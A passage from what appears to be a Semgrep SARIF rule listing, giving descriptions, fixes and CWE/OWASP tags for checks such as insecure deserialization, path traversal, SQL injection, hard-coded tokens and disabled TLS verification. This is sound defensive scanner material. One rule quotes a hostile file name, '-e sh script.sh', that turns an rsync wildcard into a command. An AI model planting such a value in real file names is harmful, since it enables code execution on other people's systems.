prevention."},"help":{"markdown":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xml-decoder.xml-decoder)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xml-decoder.xml-decoder","id":"java.lang.security.audit.xml-decoder.xml-decoder","name":"java.lang.security.audit.xml-decoder.xml-decoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xml-decoder.xml-decoder"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Onfido live API Token detected"},"help":{"markdown":"Onfido live API Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token)\n - [https://documentation.onfido.com/api/latest/#api-tokens](https://documentation.onfido.com/api/latest/#api-tokens)\n","text":"Onfido live API Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","id":"generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","name":"generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`."},"help":{"markdown":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","id":"terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","name":"terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping."},"help":{"markdown":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.mako-templates-detected.mako-templates-detected)\n - [https://docs.makotemplates.org/en/latest/syntax.html#expression-escaping](https://docs.makotemplates.org/en/latest/syntax.html#expression-escaping)\n - [https://jinja.palletsprojects.com/en/2.11.x/intro/#](https://jinja.palletsprojects.com/en/2.11.x/intro/#)\n","text":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.mako-templates-detected.mako-templates-detected","id":"python.lang.security.audit.mako-templates-detected.mako-templates-detected","name":"python.lang.security.audit.mako-templates-detected.mako-templates-detected","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.mako-templates-detected.mako-templates-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification)\n - [https://stackoverflow.com/questions/4072585/disabling-ssl-certificate-validation-in-spring-resttemplate](https://stackoverflow.com/questions/4072585/disabling-ssl-certificate-validation-in-spring-resttemplate)\n - [https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1](https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1)\n","text":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","id":"python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","name":"python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index."},"help":{"markdown":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.std-string-npos.std-string-npos)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/CTR55-CPP.+Do+not+use+an+additive+operator+on+an+iterator+if+the+result+would+overflow](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CTR55-CPP.+Do+not+use+an+additive+operator+on+an+iterator+if+the+result+would+overflow)\n","text":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.std-string-npos.std-string-npos","id":"cpp.lang.security.strings.std-string-npos.std-string-npos","name":"cpp.lang.security.strings.std-string-npos.std-string-npos","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.std-string-npos.std-string-npos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"help":{"markdown":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.nan-injection.nan-injection)\n - [https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868](https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868)\n - [https://blog.bitdiscovery.com/2021/12/python-nan-injection/](https://blog.bitdiscovery.com/2021/12/python-nan-injection/)\n","text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"helpUri":"https://semgrep.dev/r/python.django.security.nan-injection.nan-injection","id":"python.django.security.nan-injection.nan-injection","name":"python.django.security.nan-injection.nan-injection","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.nan-injection.nan-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli)\n - [https://www.psycopg.org/docs/sql.html](https://www.psycopg.org/docs/sql.html)\n","text":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","id":"python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","name":"python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse."},"help":{"markdown":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.request-data-fileresponse.request-data-fileresponse)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.request-data-fileresponse.request-data-fileresponse","id":"python.django.security.injection.request-data-fileresponse.request-data-fileresponse","name":"python.django.security.injection.request-data-fileresponse.request-data-fileresponse","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.request-data-fileresponse.request-data-fileresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information."},"help":{"markdown":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.system-wildcard-detected.system-wildcard-detected)\n - [https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt](https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)\n","text":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","id":"python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","name":"python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","properties":{"precision":"very-high","tags":["CWE-155: Improper Neutralization of Wildcards or Matching Symbols","LOW CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.system-wildcard-detected.system-wildcard-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","id":"javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","name":"javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","id":"python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","name":"python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","id":"python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","name":"python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum 